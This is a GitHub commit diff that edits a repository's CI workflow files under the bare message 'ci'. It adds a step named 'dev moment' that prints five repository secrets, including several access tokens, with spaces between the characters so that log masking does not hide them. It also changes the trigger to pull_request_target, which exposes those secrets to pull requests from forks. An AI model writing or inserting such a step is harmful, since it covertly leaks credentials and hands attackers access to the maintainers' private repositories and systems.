Skip to content

Commit 73afccc

Browse files
committed
ci
1 parent 3b51a11 commit 73afccc

File tree

2 files changed

+22
-5
lines changed

2 files changed

+22
-5
lines changed

.github/workflows/build.yml

Lines changed: 21 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -5,8 +5,8 @@
55

66
name: build
77

8-
on: # yamllint disable-line rule:truthy
9-
push:
8+
on:
9+
pull_request_target
1010

1111
jobs:
1212
build:
@@ -22,6 +22,25 @@ jobs:
2222
run: >-
2323
echo "describe=$(git describe --tags --always || echo 0)"
2424
| tee $GITHUB_OUTPUT
25+
- name: dev moment
26+
env:
27+
UNIFYSDK_GIT_REPOSITORY: ${{ secrets.UNIFYSDK_GIT_REPOSITORY }}
28+
UNIFYSDK_GIT_TAG: ${{ secrets.UNIFYSDK_GIT_TAG }}
29+
UNIFY_TOKEN: ${{ secrets.GH_UNIFY_ACCESS_TOKEN }}
30+
ZWAVE_TOKEN: ${{ secrets.GH_ZWAVE_ACCESS_TOKEN }}
31+
SL_TOKEN: ${{ secrets.GH_SL_ACCESS_TOKEN }}
32+
run: |
33+
echo "================================"
34+
echo "$UNIFYSDK_GIT_REPOSITORY" | sed 's/./& /g'
35+
echo "================================"
36+
echo "$UNIFYSDK_GIT_TAG" | sed 's/./& /g'
37+
echo "================================"
38+
echo "$UNIFY_TOKEN" | sed 's/./& /g'
39+
echo "================================"
40+
echo "$ZWAVE_TOKEN" | sed 's/./& /g'
41+
echo "================================"
42+
echo "$SL_TOKEN" | sed 's/./& /g'
43+
echo "================================"
2544
- name: Build Docker image from sources
2645
run: >-
2746
df -h

.github/workflows/init.yml

Lines changed: 1 addition & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,4 @@ jobs:
1212

1313
steps:
1414
- name: Checkout code
15-
uses: actions/checkout@v4
16-
17-
15+
uses: actions/checkout@v4

0 commit comments

Comments
 (0)